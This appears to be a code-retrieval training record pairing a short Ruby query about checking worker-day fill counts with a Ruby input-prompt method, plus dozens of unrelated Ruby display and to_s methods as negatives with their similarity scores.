"def display_quick\r\n s = ''\r\n for i in @me.keys\r\n s << \" <b>#{i}.</b><br/>\" # country\r\n for j in @me[i].keys\r\n s << \" <b>#{j}:</b><br/>\" if not j == 'unknown' # state\r\n for k in @me[i][j].keys\r\n s << \" #{k}<br/>\" if not k == 'unknown' # county\r\n for l in @me[i][j][k].keys\r\n s << (\" \" + (l == 'unknown' ? \"<i>repository not given</i>\" : \" #{l}\") + \"<br/>\") if not l == nil # repository\r\n s << \" \" + @me[i][j][k][l].keys.collect{|m| \r\n (\"#{@me[i][j][k][l][m]} \" +\r\n case m # the count\r\n when 'female'\r\n \"♀\"\r\n when 'male'\r\n \"♂\"\r\n when 'gynadropmorph'\r\n \"[♀♂]\"\r\n else\r\n \"unknown sex\"\r\n end)}.join(\",\") \r\n s << \"<br/>\" \r\n end\r\n end\r\n end\r\n end\r\n s.html_safe\r\n end",
"def details\n return @description + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def to_s\n super\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n\t\t\tstr = super() + \"\\n\"\n\t\t\tstr += \"\\tAppaleable? #{appaleable}\\n\" if appaleable\n\t\t\tstr += \"\\tDisapproved text: #{disapproved_text}\\n\" if disapproved_text\n\t\t\tstr += \"\\tLocation: #{location}\\n\" if location\n\t\t\tstr += \"\\tDisapproved text: #{disapproved_text}\\n\" if disapproved_text\n\t\t\tstr += \"\\tReason code: #{reason_code} (see: http://msdn.microsoft.com/en-US/library/bing-ads-editorialfailurereasoncodes.aspx)\\n\" if reason_code\n\n\t\tend",
"def display_data\n\t\t\t\"#{@model} #{@color} #{@horsepower} #{@year} #{@brand} #{@mpg}\"\n\t\tend",
"def to_s\n \"\\n\\tTitle: #{@title}\\n\n \\tAuthor: #{@author}\\n\n \\tUrl: #{@url}\\n\\n\"\n end",
"def inspect\n to_s.inspect\n end",
"def details\n data()\n end",
"def details\n\n return @description + \"; \" + @firstname + \"; \" + @lastname + \": \" + @dob + \": \"+ @address + \": \"+ @phone + \": \" + \"#{@infection}\"\n\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def show\n raise NotImplementedError\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def inspect\n\t\tparts = []\n\t\tparts << self.one_of_description\n\t\tparts << self.all_of_description\n\t\tparts << self.none_of_description\n\t\tparts.compact!\n\n\t\tstr = \"#<%p:%#0x matching entities\" % [ self.class, self.object_id * 2 ]\n\t\tif parts.empty?\n\t\t\tstr << \" with any components\"\n\t\telse\n\t\t\tstr << parts.join( ', ' )\n\t\tend\n\t\tstr << \">\"\n\n\t\treturn str\n\tend",
"def inspect\n to_s\n end",
"def description\n return summary\n end",
"def details\n return @description + \"; \" + @doctorname + \"; \" + @medicine + \": \" + \"#{@cost}\"\n end",
"def details\n return \"ID = #{@id}\\n\" + \n \"Name = #{@name}\\n\" + \n \"Topic = #{@topic}\\n\" + \n \"Member Count = #{@member_count}\"\n end",
"def description\n name + ': ' + resource_type.to_s + ' | Sueldo: ' + salary.to_s +\n ' | Experiencia: ' + experience.to_s + ' años'\n end",
"def show\n\t\traise NotImplementedError, \"FIXME: Implement showing comments.\"\n\tend",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect\n \"#{self.class}<#{@description.inspect}>\"\n end",
"def description\n end",
"def description\n end",
"def details\n return \" #{@description}, #{@lastname}, #{@date}. #{@start}, #{@hours}, #{@players}, #{@zone}. #{@cost}\"\n end",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def display\n\t\tname\n\tend",
"def details\n return @description + \"; \" + @manufacturer + \"; \" + @color + \": \" + \"#{@cost}\"\n end",
"def to_s\n \"#{self.title} - #{self.author} - #{self.date}\"\n end",
"def details\r\n return @description + \": \" + \". \" + @basic_profile.details\r\n end",
"def show\n #not needed for our implementation\n end",
"def to_s\n super\n end",
"def modeler_description\n return 'Gather orientation and story specific construction, fenestration (including overhang) specific information'\n end",
"def details_partial_for(o)\n \"#{o.class.name.underscore}s/details\"\n end",
"def display\n puts \"Personal Details\"\n puts \" Name : #{self.name}\"\n puts \" Date of Birth : #{self.dob}\"\n puts \" Marital Status : #{self.marital_status}\"\n puts \" Mobile Number : #{self.mobile_number}\"\n puts \" Email : #{self.email}\"\n end",
"def detail\n attributes.fetch(:detail)\n end",
"def detail\n attributes.fetch(:detail)\n end"
] |
[
"0.68170065",
"0.68142146",
"0.6758589",
"0.6718451",
"0.66697186",
"0.6655344",
"0.6632312",
"0.66273594",
"0.6550127",
"0.65188134",
"0.6497969",
"0.6480078",
"0.6477721",
"0.6472211",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64502096",
"0.64367676",
"0.6434794",
"0.63974625",
"0.6391661",
"0.6385164",
"0.63826483",
"0.63826483",
"0.63621265",
"0.63584715",
"0.6352767",
"0.6347243",
"0.6345342",
"0.63338625",
"0.6325844",
"0.6320725",
"0.6320725",
"0.6316434",
"0.6311974",
"0.6311425",
"0.63111603",
"0.6307294",
"0.63050634",
"0.6301272",
"0.62848294",
"0.627871",
"0.6277492",
"0.62770176",
"0.6274702",
"0.6274702",
"0.62604547",
"0.62543267",
"0.6251651",
"0.625114",
"0.62487584",
"0.62225854",
"0.6214293",
"0.6214293",
"0.6212906",
"0.62095803",
"0.62095803",
"0.62095803",
"0.62095803",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6205272",
"0.6200787",
"0.6198166",
"0.61830676",
"0.6179759",
"0.617746",
"0.61753553",
"0.61619484",
"0.6157944",
"0.61527485",
"0.615132",
"0.615132",
"0.61505795",
"0.6144682",
"0.6144682",
"0.6144682",
"0.6144682",
"0.61351794",
"0.6133033",
"0.61300874",
"0.61294436",
"0.61242044",
"0.6121309",
"0.61148214",
"0.61109483",
"0.6108956",
"0.6108956"
] |
0.0
|
-1
|
... Ready state of each day' .... Test methods days=[0, 1, 2, 3, 4, 5] chk_workers=[0,1,2,3] test_cnt_filled(y, days, chk_workers, 1)
|
def char_selected(prompt='chose :', srcs)
print prompt
while true
res = gets.chop!
case res
when /[#{srcs}]/i
return res
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def weekday(days)\nt = Date.today\narr = []\n days.times do\n arr << \"ok\" if t.saturday? || t.sunday?; t = t - 1\n end\n arr.count\nend",
"def task_count_instances\n #ex_count = find_exception_count\n if self.occurrence_type.eql?(\"count\")\n count = self.count.to_i\n return count\n elsif self.occurrence_type.eql?(\"until\")\n if self.start_date and self.until\n case(self.repeat)\n when \"DAI\" then daily_count\n when \"WEE\" then weekly_count\n when \"MON\" then monthly_count\n when \"YEA\" then yearly_count\n end\n end\n else\n 1 \n end\n end",
"def check_day_coverage\n #Create a hash to count the day-of-week settings from all profiles\n week = {}; DAYS.each { |d,name| week[d] = 0 }\n\n # Only check profiles that are not marked for destruction\n non_destroyed_profiles = profiles.select {|p| not p.marked_for_destruction?}.compact\n \n #count 'em\n non_destroyed_profiles.each do |p|\n DAYS.each {|d,name| week[d] += 1 if p.send(d) }\n end\n\n week.each do |day, count|\n if count == 0\n create_profile_set_error(\"<b>#{DAYS[day]}</b> is not set\")\n elsif count > 1\n create_profile_set_error(\"<b>#{DAYS[day]}</b> is set in multiple profiles\")\n end\n end\n end",
"def check_schedule()\n create_daily_tests()\n create_weekly_tests()\n end",
"def test_count\n @tests.count\n end",
"def compute_check_counts\n \n self.new_design_self_check_count = 0\n self.new_design_peer_check_count = 0\n self.bareboard_design_self_check_count = 0\n self.bareboard_design_peer_check_count = 0\n \n self.each_check do |check|\n \n if check.new_design_check?\n self.new_design_self_check_count += 1 if check.is_self_check?\n self.new_design_peer_check_count += 1 if check.is_peer_check?\n end\n \n if check.bare_board_design_check?\n self.bareboard_design_self_check_count += 1 if check.is_self_check?\n self.bareboard_design_peer_check_count += 1 if check.is_peer_check?\n end\n \n end\n \n self.save\n \n end",
"def pass_count(days=30)\n latest_executions(days).where(success: true).count\n end",
"def count_passing\n return self.passing_tests.size\n end",
"def uninit_ok_tests\n if (!@num_tests_run.nil? && !@num_tests_failed.nil?)\n @num_tests_ok += @num_tests_run - @num_tests_failed\n end\n end",
"def fail_count(days=30)\n latest_executions(days).where(success: false).count\n end",
"def test_increment_count_days\n seed = 10\n prng = Random.new seed\n id = 1\n pros = Prospector.new id, prng\n pros.increment_count_days\n assert_equal 1, pros.count_days\n end",
"def count_incomplete\n return self.incomplete_tests.size\n end",
"def estimated_days_progress_today\n\t\tdays_progresses.at(Date.today).first.try(:expected) || dp_days_progress_today[1]\n\tend",
"def create_daily_tests()\n\n Rails.logger.info \"Checking for Daily test runs\"\n\n # get instances of a daily test run\n tests_to_add_to_stack = RecurringSchedule.get_daily_tests()\n setup_scheduled_test(tests_to_add_to_stack)\n end",
"def check_count(calc)\n assert_equal calc.length, (@input[:credit_time].to_i + 1) #number of month + 1 row of sum values\n (calc.length - 1).times do |x|\n month = calc[x]\n assert_in_delta (month[:res_credit_payment] + month[:res_credit_percent]), month[:res_credit] #month payment = main debt + %\n #remainder on this month = remainder on previous month - main dept\n assert_in_delta calc[x-1][:res_remainder], month[:res_credit_payment] + calc[x][:res_remainder] if x > 0\n end\n last = calc.last\n assert_in_delta last[:all_credit_payment], @input[:credit_sum].to_i #sum of all main dept payments = credit size\n assert_in_delta calc[calc.length-2][:res_remainder], 0 #result remainder must be 0\n end",
"def completed_check_count\n \n count = { :self => 0, :peer => 0 }\n \n self.checklist.each_check do |check|\n design_check = self.design_checks.detect { |dc| dc.check_id == check.id }\n next if !design_check\n count[:self] += 1 if design_check.self_auditor_checked?\n count[:peer] += 1 if design_check.peer_auditor_checked?\n end\n \n count\n \n end",
"def test_checklist_status_values_not_started\n test = @product.product_tests.checklist_tests.first\n passing, failing, not_started, total = checklist_status_values(test)\n\n assert_equal 0, passing\n assert_equal 0, failing\n assert_equal 1, not_started\n assert_equal 1, total\n end",
"def days_validation\n @start_cycle = @vote_setting.start_cycle.to_date \n @end_cycle = @vote_setting.end_cycle.to_date\n @days_count = (@end_cycle - @start_cycle).round\n end",
"def countMeetings(firstDay, lastDay)\n # GC::Profiler.enable\n # GC::Profiler.clear\n\n # Used Variables\n # @mutex = A tool to prevent a thread starts out of synchrony\n # @available = Possilbe days to attend the Investor\n # @investors = Array of investors\n # @threads = Array for allocate threads for reduce the time of execution\n # @meet = The maximun number of possible meetings\n\n mutex = Mutex.new\n # Construct the available days for meetings\n available = * firstDay.first..lastDay.last\n investors = []\n # Construct a list of investor based in their first and last days\n firstDay.each_index do |i|\n investors << (firstDay[i]..lastDay[i]).to_a\n end\n\n meet = 0\n threads = []\n one_day_investor = []\n attended = []\n\n # Cut investors that will stay only for a day, and are repeated\n investors.each do |investor|\n one_day_investor << investor if investor.size == 1\n end\n p investors\n p one_day_investor = one_day_investor.uniq\n p investors - one_day_investor\n # Check if there are more investor than possible days to attend them\n return available.size if investors.size >= available.size\n\n investors.each_slice(10_000) do |slice|\n slice.each do |investor_group|\n threads << Thread.new do\n mutex.synchronize do\n investor_group.each do |investor|\n next unless available.include?(investor)\n\n meet += 1\n attended << investor\n available.delete(investor)\n break\n end\n end\n end\n end\n end\n\n threads.each { |t| t.join }\n p attended\n meet\nend",
"def all_suite_times=(_arg0); end",
"def all_suite_times=(_arg0); end",
"def execution_count(days=30)\n latest_executions(days).count\n end",
"def test_several_active\n result=[]\n at=Activity_tracker.new do\n result.push nil\n end\n 3.times do |i|\n at.active i\n end\n sleep at.timeout+at.tick_time\n assert result.size==3, 'result size is '+result.size.to_s\n end",
"def test_falsy_count(tests, method, options = {})\n tests.each do |test|\n matches = Ramparts.send(method, test, options)\n expect(matches).to eq(0), \"Expected empty array, got #{matches} for '#{test}'\"\n end\nend",
"def fill_train(train)\n 120.times { train.board(active_passenger, station) }\n end",
"def count_failing\n return self.failing_tests.size\n end",
"def schedule_days(day_ints = [1,3,5])\n (0..6).each {|day_int|\n is_checked = day_checked?(day_int)\n # puts \"is checked : #{is_checked}\"\n should_be_checked = day_ints.include?(day_int)\n # puts \"should_be_checked : #{should_be_checked}\"\n if (!is_checked && should_be_checked)\n click_day_picker(day_int)\n elsif (is_checked && !should_be_checked)\n click_day_picker(day_int)\n else\n\n end\n } \n current_scheduled_days\n end",
"def exercise1\n parse_data\n passports.count(&:valid?)\n end",
"def test_count_occupants_array\n @room2.check_in_guest(@guest2)\n @room2.check_in_guest(@guest3)\n assert_equal(2, @room2.count_occupants())\n end",
"def initialize checkins, category\n @checkins = checkins\n @category = category\n @by_week = {}\n @results = {}\n @results[category] = 0\n \n # Measure the streak.\n group_checkins_by_week()\n measure_streak()\n end",
"def test_all\n @results['test_start'] = Time.now()\n passed = []\n boot_vm() if @options[:vmm_enabled]\n prep\n freeze_vm() if @options[:vmm_enabled]\n @log.info \"RUNNING NO-SERVICE TEST\"\n passed << one_test(@config['init_scenario'])\n # Stop testing if our initial test fails.\n unless passed.first == true\n @log.error \"Initial setup failed.. sleeping 60 seconds for debugging.\"\n sleep 60\n stop_vm() if @options[:vmm_enabled]\n return passed\n end\n freeze_vm() if @options[:vmm_enabled]\n @log.info \"RUNNING TESTS\"\n scenarios = get_scenarios\n test_counter = 0\n scenarios.each do |scenario|\n test_counter += 1\n @log.info \"Running test for #{scenario} - #{test_counter} of #{scenarios.size}\"\n passed << one_test(scenario)\n end\n stop_vm() if @config[:vmm_enabled]\n all_passed = passed.select{|p| p == false}.size == 0\n @log.info \"Number of tests run : #{passed.size}\"\n @log.info \"Result of ALL tests: Passed? #{all_passed}\"\n @results['test_stop'] = Time.now()\n @results['elapsed_time'] = @results['test_stop'] - @results['test_start']\n return all_passed\n end",
"def test_suicide_duty()\n [1, 2].each() do |concurrent_duties|\n [true, false].each() do |persistent_workers|\n assert_nothing_thrown() do\n s = generate_spawner(concurrent_duties, persistent_workers, 0,\n @jobs_log_file, @spawner_log_file)\n\n generate_tasks_addition(s, 2, true, 2) {exit 42}\n end\n end\n end\n end",
"def complete_check_count\r\n check_number = []\r\n self.jobs.each do |job|\r\n if job.job_status = JobStatus::COMPLETED\r\n check_number << job.check_number\r\n end\r\n end\r\n check_number.uniq!\r\n if check_number.nil?\r\n return 0\r\n else\r\n return check_number.size\r\n end\r\n end",
"def count_per_time_period(days)\n days.map do |day|\n day.map {|time_period| time_period.size}\n end\n end",
"def num_days_online(days)\n return (1..days).inject(0) { |sum, i| (i%100==0 or i%14==0 or i%3==0) ? sum : sum + 1 }\nend",
"def price_by_worker(status, shift_dates_list)\n compteur = 0\n shift_dates_list.each do |wday|\n if wday == 0 || wday == 6\n compteur += 2 * price_by_status(status)\n else\n compteur += price_by_status(status)\n end\n end\n compteur\nend",
"def count_in_not_ready(*args)\n count_in_status(:not_ready, *args)\n end",
"def test_no_task()\n [0, 10].each() do |concurrent_duties|\n [true, false].each() do |persistent_workers|\n [true, false].each() do |perform_now|\n assert_nothing_thrown() do\n s = generate_spawner(concurrent_duties, persistent_workers, 0,\n @jobs_log_file, @spawner_log_file)\n generate_tasks_addition(s, 0, perform_now, 2) {}\n end\n\n assert_equal(0, File.stat(@jobs_log_file).size(), \"The jobs log is not empty, while it should\")\n end\n end\n end\n end",
"def test_return_days\n map = create_towns\n p1 = Prospector::new map[0]\n days = p1.return_days\n assert_equal days, 0\n end",
"def count_jobs\n \tself.bugs.bug_has_closed.count\n end",
"def count_in_ready(*args)\n count_in_status(:ready, *args)\n end",
"def completed_tests()\n test_array = []\n self.problems.each do |problem|\n problem.tests.each do |test|\n test_array.push(test)\n end\n end\n test_array\n end",
"def monkey_count(n)\n Array.new(n) {|x| x + 1 }#your code here\nend",
"def test_empty_tasks()\n [3, 10].each() do |concurrent_duties|\n [true, false].each() do |persistent_workers|\n [true, false].each() do |perform_now|\n assert_nothing_thrown() do\n s = generate_spawner(concurrent_duties, persistent_workers, 0,\n @jobs_log_file, @spawner_log_file)\n generate_tasks_addition(s, 10, perform_now, 3) {}\n end\n\n assert_equal(0, File.stat(@jobs_log_file).size(), \"The jobs log is not empty, while it should\")\n end\n end\n end\n end",
"def calculate_workdays\n iteration_start_date = Date.parse(@iteration.start_date)\n iteration_end_date = Date.parse(@iteration.end_date)\n total_iteration_days = iteration_end_date - iteration_start_date + 1\n # number of total possible workdays within entire iteration\n total_workdays = 0\n curr_day = iteration_start_date\n for i in 1..total_iteration_days\n total_workdays += 1 if $conn.workspace.is_workday?(curr_day.to_s)\n curr_day += 1\n end\n total_workdays\n end",
"def test_check_days\n ruby_rush=RubyRush.new(1, 2, 3)\n ruby_rush.days=1\n assert_equal \"day\", ruby_rush.check_days\n ruby_rush.dayys=\"day\"\n ruby_rush.days=2\n assert_equal \"days\", ruby_rush.check_days\n ruby_rush.dayys=\"day\"\n end",
"def test_re_dispatch_count_is_initially_zero\n\n @dashboard.register { catchall }\n\n wfid = @dashboard.launch(Ruote.define { alpha })\n r = @dashboard.wait_for(:alpha)\n\n assert_equal 0, r['workitem']['re_dispatch_count']\n end",
"def calculate_meetings\n @semester = Semester.find_by_id params[:semester_id]\n return unless semester_is_valid(@semester)\n class_meetings = 0\n class_meetings_hash = @semester.specific_days_in_semester\n params.each do |d, value|\n day_of_week = d.to_i\n if value != \"checked\"; next; end\n if ((1 <= day_of_week) and (day_of_week <= 7))\n class_meetings += class_meetings_hash[day_of_week]\n end\n end\n\n @calculate_meetings = class_meetings.to_json\n render :text => @calculate_meetings\n end",
"def build_new_works\n\n return if self.status==:new_only_effort #estimation only, no schedule\n\n work_actual_array=self.task.work_actuals\n\n d1 = Date.last_monday(self.task.start)\n d2 = task.stop\n\n logger.info \" build_works_for_baseline from #{d1} to #{d2}\"\n\n d1.step(d2, 7) do |date|\n self.works.build do |w|\n w.start_date =date\n w.duration =WORK_TIME_FRAME\n w.workhours =Baseline.corresponding_work(work_actual_array, date).nil_or.workhours\n w.description=Baseline.corresponding_work(work_actual_array, date).nil_or.description\n end\n end\n end",
"def count_YZ\nend",
"def create_weekly_tests()\n\n Rails.logger.info \"Checking for Weekly test runs\"\n\n # get instances of a weekly test run\n tests_to_add_to_stack = RecurringSchedule.get_weekly_tests_for_today()\n setup_scheduled_test(tests_to_add_to_stack)\n end",
"def timer_checkpoints\n t = self.time_remaining\n if @timer_checkpoint_hash[30] < 3 && t <= 40\n @timer_checkpoint_hash[30] += 1\n tab; \"#{@time_remaining} seconds left.\\n\".typing\n elsif @timer_checkpoint_hash[120] == 0 && t.between?(60, 140)\n @timer_checkpoint_hash[120] += 1\n tab; \"Cutting it close, #{codename}\".typing\n elsif @timer_checkpoint_hash[180] == 0 && t.between?(140, 180)\n @timer_checkpoint_hash[180] += 1\n tab; \"3 minutes. Finish the job.\\n\".typing\n elsif @timer_checkpoint_hash[240] == 0 && t.between?(200, 240)\n @timer_checkpoint_hash[240] += 1\n tab; \"Doing good. 4 minutes left.\\n\".typing\n end\n end",
"def count\n count = 0\n each do |data|\n count += 1\n end\n count\n end",
"def workers(count); end",
"def test_should_retun_every_set_of_days_of_month_as_array\n assertion = Month.august(2006).every(:monday,:wednesday)\n # verify\n assert assertion.is_a?(Array)\n # check for data integrity\n assert_equal assertion.size, 9\n assert_equal assertion, [Date.new(2006,8,2),Date.new(2006,8,9),Date.new(2006,8,16),Date.new(2006,8,23),Date.new(2006,8,30),Date.new(2006,8,7),Date.new(2006,8,14),Date.new(2006,8,21),Date.new(2006,8,28)]\n end",
"def count\n check = @eob.check_information\n if Output835.element_duplicates?(check.check_number, @check_nums)\n occurence = Output835.all_occurence(check.check_number, @check_nums)\n index_of_check_id = @check_ids.index(check.id)\n count = occurence[index_of_check_id]\n end\n count\n end",
"def potential_working_days(start_date, end_date)\n days_worked = (start_date..end_date).select do |day|\n day = day.strftime(\"%A\").downcase.to_sym\n works_on?(day)\n end\n days_worked.count\n end",
"def self_check_count\n \n checklist = self.checklist\n\n case self.design.design_type\n when 'New'\n checklist.new_design_self_check_count\n when 'Dot Rev'\n checklist.bareboard_design_self_check_count\n end\n\n end",
"def test_should_retun_every_set_of_days_of_month\n assertion = Month.august(2006).every!(:monday,:wednesday)\n # verify\n assert assertion.is_a?(Hash)\n # monday assertions\n assert_equal assertion[:monday].size, 4\n assert_equal assertion[:monday], [Date.new(2006,8,7),Date.new(2006,8,14),Date.new(2006,8,21),Date.new(2006,8,28)]\n # wednesday assertions\n assert_equal assertion[:wednesday].size, 5\n assert_equal assertion[:wednesday],\n [Date.new(2006,8,2),Date.new(2006,8,9),Date.new(2006,8,16),Date.new(2006,8,23),Date.new(2006,8,30)]\n end",
"def init_tests\n unless @init_tests\n @test_duration = 0\n @num_tests_run = 0\n @num_tests_failed = 0\n @num_tests_ok = 0\n @num_tests_skipped = 0\n @init_tests = true\n end\n end",
"def all_suite_times; end",
"def all_suite_times; end",
"def test_get_date\n assert_equal(0,@day_count.get_date())\n end",
"def executeSimpleTest(iSimpleTestData)\n lMaxDays = 10\n lFirstDay = Date.new(2000, 1, 1)\n # Create a standard calendar (lMaxDays days, 1 hour per day) for each resource\n # It will be populated lated\n # map< Date, Integer >\n lCalendar = {}\n # Create the index of resources\n # map< String, Resource >\n lResourcesMap = {}\n # Create the index of tasks\n # map< String, Task >\n lTasksMap = {}\n # Create the final assignment\n # map< Task, map< Date, map< Resource, Integer > > >\n lFinalAssignment = {}\n iSimpleTestData.each do |iSimpleTaskInfo|\n lTaskName, lResourceName, lPriority, lSizing, lSuccessorNamesList, lStrFinalAssignment = iSimpleTaskInfo\n if (lStrFinalAssignment.size > lMaxDays)\n lMaxDays = lStrFinalAssignment.size\n end\n # Do we already know this resource ?\n if (!lResourcesMap.has_key?(lResourceName))\n # Create the resource\n lResource = Resource.new(lResourceName, lCalendar)\n lResourcesMap[lResourceName] = lResource\n else\n lResource = lResourcesMap[lResourceName]\n end\n lTask = Task.new(lTaskName, lPriority, lSizing, {lResource => lSizing}, [])\n lTasksMap[lTaskName] = lTask\n # Set its final assignment info\n lFinalTaskAssignment = {}\n lIdxDay = 0\n lStrFinalAssignment.each_byte do |iChar|\n if (iChar == 61) # 61 == '='\n lFinalTaskAssignment[lFirstDay + lIdxDay] = {lResource => 1}\n end\n lIdxDay += 1\n end\n lFinalAssignment[lTask] = lFinalTaskAssignment\n end\n # Create the list of tasks\n # list< Task >\n lTasksList = []\n # Now populate the successors\n iSimpleTestData.each do |iSimpleTaskInfo|\n lTaskName, lResourceName, lPriority, lSizing, lSuccessorNamesList, lStrFinalAssignment = iSimpleTaskInfo\n # Retrieve the task\n lTask = lTasksMap[lTaskName]\n # Parse each successor\n lSuccessorsList = []\n lSuccessorNamesList.each do |iSuccessorName|\n # Retrieve the successor, and add it\n lSuccessorsList << lTasksMap[iSuccessorName]\n end\n # Set the successors in the real task\n lTask.Successors = lSuccessorsList\n # Add the task to the list\n lTasksList << lTask\n end\n # Create a standard project (lMaxDays days, starting from january 1st 2000)\n lProject = Project.new(lFirstDay, lFirstDay + lMaxDays)\n # Populate the calendar of each resource\n lMaxDays.times do |iIdx|\n lCalendar[lFirstDay + iIdx] = 1\n end\n # Execute the test\n executeTest(lTasksList, lProject, lFinalAssignment)\n end",
"def verify_appointments_count(start_dates)\n if start_dates.count == 5\n true\n elsif start_dates.count == 8\n false\n else\n false\n end\n end",
"def test_cases; end",
"def test_cayman_islands\n end",
"def streak_counter\n @habits.each do |habit|\n count = 0\n date = @num_days_ago.days.ago.localtime - count.day\n if !days_habits(date, habit).empty?\n days_habits(date, habit).first.update(streak_count: 0)\n end\n while !days_habits(date, habit).empty? && !days_habits(date, habit).first.completed_at.nil?\n streak = days_habits(DateTime.now, habit).first\n current_streak = streak.streak_count\n streak.update(streak_count: current_streak + 1)\n count += 1\n date = @num_days_ago.days.ago.localtime - count.day\n end\n end\n end",
"def spec_count events, status = :all\n return spec_events(events).count if status == :all\n spec_events(events).select {|e| e.status == status }.count\nend",
"def nofRuns()\n return @runList.size() ;\n end",
"def generate_daytime_distribution \n \n end",
"def num_waiting\n end",
"def num_waiting\n end",
"def incomplete(start_day = \"monday\")\n # check if an individual rep, complete reps of day if not\n if self.rep_parent.nil?\n self.repititions.\n where(:show_date => Date.current).each do |rep|\n rep.incomplete\n end\n return\n end\n\n # if not already incomplete check if still at count_goal\n if self.state == Activity::COMPLETE\n if self.expiration_date.nil? or\n self.expiration_date >= Date.current\n self.state = Activity::INCOMPLETE\n else\n self.state = Activity::EXPIRED\n end\n self.completed_date = nil\n self.save!\n \n # if rep_parent is complete may have to change\n node = self.rep_parent\n if node.state == Activity::COMPLETE \n date = Date.current\n week_start = date.\n beginning_of_week(start_date = start_day.to_sym)\n week_end = date.\n end_of_week(start_date = start_day.to_sym)\n \n # get number completed this week\n week_reps = node.repititions.\n where(\"completed_date >= ? AND completed_date <= ?\",\n week_start, week_end)\n\n # if less then increment count_goal\n if week_reps.size < node.count\n node.add_incomplete_week\n if node.expiration_date.nil? or node.expiration_date >= Date.current\n node.state = Activity::INCOMPLETE\n else\n node.state = Activity::EXPIRED\n end\n node.competed_date = nil\n node.rep_parent.save!\n end\n end\n end \n end",
"def count\n run.count\n end",
"def receive_work(man_days)\n @man_days_done += man_days\n end",
"def run_tests\n check_solution(1, [6, 29, 18, 2, 72, 19, 18, 10, 37], 18, 2)\n check_solution(2, [6, 29, 18, 2, 72, 19, 18, 10, 37], 9, -1)\nend",
"def count_ok?\n\t\tcount <= 5\n\tend",
"def test_end_search_0_turns\n \tpro = Prospector.new(1)\n \tpro.loop_prospector(0)\n \tassert pro.total_rubies == 0\n \tassert pro.total_fake_rubies == 0\n \tassert pro.days == 0\n \tassert pro.turns == 0\n end",
"def test_case_count\n scenario_count + outlines.reduce(0) { |outline_sum, outline|\n outline_sum += outline.examples.reduce(0) { |example_sum, example|\n example_sum += example.rows.count\n }\n }\n end",
"def test_live_cell_with_no_neighbors_dies\n refute @life.will_live?(true, 0)\n end",
"def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"def run_tests()\n check_solution(1, [1, 4, 10, 13, 15], true)\n check_solution(2, [1, 4, 10, 10, 13, 15], true)\n check_solution(3, [1, 2, 5, 3, 4 ], false)\nend",
"def class_canceled n, array\n late = 0\n array.each do |x|\n if x > 0\n late += 1\n end\n end\n\n on_time = array.size - late\n if on_time >= n\n \"NO\"\n else\n \"YES\"\n end\nend",
"def total_complete\n tasks.select { |task| task.complete? }.count\n end",
"def test_nUpBooklets_groups_2x2\n Metodos.refresh()\n #\n w_=Metodos.nuevo(0,\"point\")\n h_=Metodos.nuevo(0,\"point\")\n wP_=Metodos.nuevo(0,\"point\")\n hP_=Metodos.nuevo(0,\"point\")\n nX=Metodos.nuevo(2,nil)\n nY=Metodos.nuevo(2,nil)\n nPaginas=\"\"\n nPliegos=\"\"\n cuadernillos=true\n #\n esperados=[]\n esperados.push(Clases::Mensaje.new(13))#PreguntacXC\n esperados.push(Clases::Mensaje.new(1))\n esperados.push(Clases::Mensaje.new(2))\n esperados.push(Clases::Mensaje.new(3))\n esperados.push(Clases::Mensaje.new(4))\n esperados.push(Clases::Mensaje.new(5))\n esperados.push(Clases::Mensaje.new(7))\n esperados.push(Clases::Mensaje.new(6))\n esperados.push(Clases::Mensaje.new(8))\n esperados.push(Clases::Mensaje.new(9))\n esperados.push(Clases::Mensaje.new(14))#MensajeTiempo Booklets\n #\n respuestas=[]\n respuestas.push([Clases::PreguntaCXC.new(),Metodos.nuevo(2,nil)])\n respuestas.push([Clases::Pregunta.new(5),false])#PreguntaReducir\n #\n resultado=nUp(w_,h_,wP_,hP_,nX,nY,nPaginas,nPliegos,cuadernillos,esperados,nil,respuestas)\n assert(resultado.yn,resultado.msg)\n ensure\n #limpio todo, aunque se caiga\n if File.dirname($temp)!=nil then\n `rm -r #{File.dirname($temp)}`\n end\n end",
"def week_3\n wait(0)\n say \"Start your first short run.\"\n count_down(90, 'running')\n say \"Stop running now. You have 1 long run and two short ones left.\"\n count_down(90, 'walking')\n\n say \"Start the first long run now.\"\n count_down(3*60, 'running')\n say \"Stop running now. You have a short run and a long run left.\"\n count_down(3*60, 'walking')\n\n say \"Start your second short run.\"\n count_down(90, 'running')\n say \"Stop running. You have 1 more long run left.\"\n count_down(90, 'walking')\n\n say \"Start your last run now.\"\n count_down(3*60, 'running')\n say \"Stop running. After this walk, you will have finished.\"\n count_down(3*60, 'walking')\n\n say \"Great! You've finished for today.\"\nend",
